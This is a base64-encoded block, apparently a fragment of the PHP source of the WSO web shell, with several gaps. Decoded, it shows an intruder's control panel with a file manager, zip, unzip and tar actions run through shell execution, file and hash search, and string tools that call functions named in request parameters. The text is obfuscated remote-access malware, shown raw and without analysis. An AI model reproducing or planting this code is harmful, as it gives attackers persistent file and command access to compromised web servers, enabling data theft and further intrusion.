gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoQGlzX2RpcigkX0NPT0tJRVsnYyddIC4gJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZXJhdG9yID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRmIC4gJy8nLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5ID0+ICR2YWx1ZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9DT09LSUVbJ2YnXSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX0NPT0tJRVsnYyddIC4gJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX0NPT0tJRVsnYWN0J10gPT0gJ3RhcicpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdzb0V4KCd0YXIgY2Z6diAnIC4gZXNjYXBlc2hlbGxhcmcoJF9QT1NUWydwMiddKSAuICcgJyAuIGltcGxvZGUoJyAnLCAkX0NPT0tJRVsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVuc2V0KCRfQ09PS0lFWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXRjb29raWUoJ2YnLCAnJywgdGltZSgpIC0gMzYwMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1NPc2V0Y29va2llKCdhY3QnLCAkX1BPU1RbJ3AxJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1NPc2V0Y29va2llKCdmJywgc2VyaWFsaXplKEAkX1BPU1RbJ2YnXSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1NPc2V0Y29va2llKCdjJywgQCRfUE9TVFsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29IZWFkZXIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlyQ29udGVudCA9IHdzb1NjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pID8gJF9QT1NUWydjJ10gOiAkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRkaXJDb250ZW50ID09PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0Nhbid0IG9wZW4gdGhpcyBmb2xkZXIhJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29Gb290ZXIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm47DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJHNvcnQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7DQogICAgICA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l6ZV8iIC4gKCRzb3J0WzFdID8gMCA6IDEpIC4gIiIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzTWFuIixudWxsLCJzX21vZGlmeV8iIC4gKCRzb3J0WzFdID8gMCA6IDEpIC4gIiIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKCJGaWxlc01hbiIsbnVsbCwic19wZXJtc18iIC4gKCRzb3J0WzFdID8gMCA6IDEpIC4gIiIpJz5QZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlycyA9ICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbiA9IGNvdW50KCRkaXJDb250ZW50KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyRpIDwgJG47JGkrKykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLCAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldLCAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksICdwZXJtcycgPT4gd3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pLCAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSksICdvd25lcicgPT4gJG93WyduYW1lJ10gPyAkb3dbJ25hbWUnXSA6IEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXSA/ICRnclsnbmFtZSddIDogQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkgJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmIChAaXNfbGluaygkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkgJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gd3NvQ21wKCRhLCAkYikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykgcmV0dXJuIHN0cmNtcChzdHJ0b2xvd2VyKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dKSwgc3RydG9sb3dlcigkYlskR0xPQkFMU1snc29ydCddWzBdXSkpICogKCRHTE9CQUxTWydzb3J0J11bMV0gPyAxIDogLTEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSAqICgkR0xPQkFMU1snc29ydCddWzFdID8gMSA6IC0xKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVzb3J0KCRmaWxlcywgIndzb0NtcCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdXNvcnQoJGRpcnMsICJ3c29DbXAiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGwgPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg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IHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb24+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgZWNobyAiPG9wdGlvbiB2YWx1ZT0nemlwJz5Db21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5VbmNvbXByZXNzICh6aXApPC9vcHRpb24+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Rhcic+Q29tcHJlc3MgKHRhci5neik8L29wdGlvbj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX0NPT0tJRVsnYWN0J10pICYmIEBjb3VudCgkX0NPT0tJRVsnZiddKSkgZWNobyAiPG9wdGlvbiB2YWx1ZT0ncGFzdGUnPlBhc3RlIC8gQ29tcHJlc3M8L29wdGlvbj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9DT09LSUVbJ2FjdCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkgJiYgKCgkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHx8ICgkX0NPT0tJRVsnYWN0J10gPT0gJ3RhcicpKSkgZWNobyAiZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9J3dzb18iIC4gZGF0ZSgiWW1kX0hpcyIpIC4gIi4iIC4gKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJyA/ICd6aXAnIDogJ3Rhci5neicpIC4gIic+Jm5ic3A7IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29Gb290ZXIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBoZXgyYmluKCRwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gYmluaGV4KCRwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBkZWNoZXgoYmluZGVjKCRwKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gaGV4MmFzY2lpKCRwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyRpIDwgc3RyTGVuKCRwKTskaSs9IDIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyLj0gY2hyKGhleGRlYygkcFskaV0gLiAkcFskaSArIDFdKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFzY2lpMmhleCgkcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkciA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDskaSA8IHN0cmxlbigkcCk7KyskaSkgJHIuPSBzcHJpbnRmKCclMDJYJywgb3JkKCRwWyRpXSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gc3RydG91cHBlcigkcik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkciA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDskaSA8IHN0cmxlbigkcCk7KyskaSkgJHIuPSAnJScgLiBkZWNoZXgob3JkKCRwWyRpXSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gc3RydG91cHBlcigkcik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg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U09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSkgZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciIC4gYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksICInIikgLiAiJzsiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIiIsICR0ZW1wOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9QT1NUWydhamF4J10pICYmICFlbXB0eSgkX1BPU1RbJ3AxJ10pKSBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIDApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvSGVhZGVyKCk7DQogICAgICAgICA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dHlwZT0ndGV4dCcgbmFtZT0nY3dkJyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1ZT0nKicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+DQoJCQk8L3RhYmxlPjwvZm9ybT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gd3NvUmVjdXJzaXZlR2xvYigkcGF0aCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoLj0gJy8nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRocyA9IEBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoIC4gJF9QT1NUWydwMyddKSwgQGdsb2IoJHBhdGggLiAnKicsIEdMT0JfT05MWURJUikpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJHBhdGhzKSAmJiBAY291bnQoJHBhdGhzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcGF0aHMgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAaXNfZGlyKCRpdGVtKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGF0aCAhPSAkaXRlbSkgd3NvUmVjdXJzaXZlR2xvYigkaXRlbSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkX1BPU1RbJ3AyJ10pIHx8IEBzdHJwb3MoZmlsZV9nZXRfY29udGVudHMoJGl0ZW0pLCAkX1BPU1RbJ3AyJ10pICE9PSBmYWxzZSkgZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nZygiRmlsZXNUb29scyIsbnVsbCwiIiAuIHVybGVuY29kZSgkaXRlbSkgLiAiIiwgInZpZXciLCIiKSc+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pIC4gIjwvYT48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAJF9QT1NUWydwMyddKSB3c29SZWN1cnNpdmVHbG9iKCRfUE9TVFsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvZGl2Pjxicj48aDE+U2VhcmNoIGZvciBoYXNoOjwvaDE+PGRpdiBj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SB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydwMSddKSkgJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg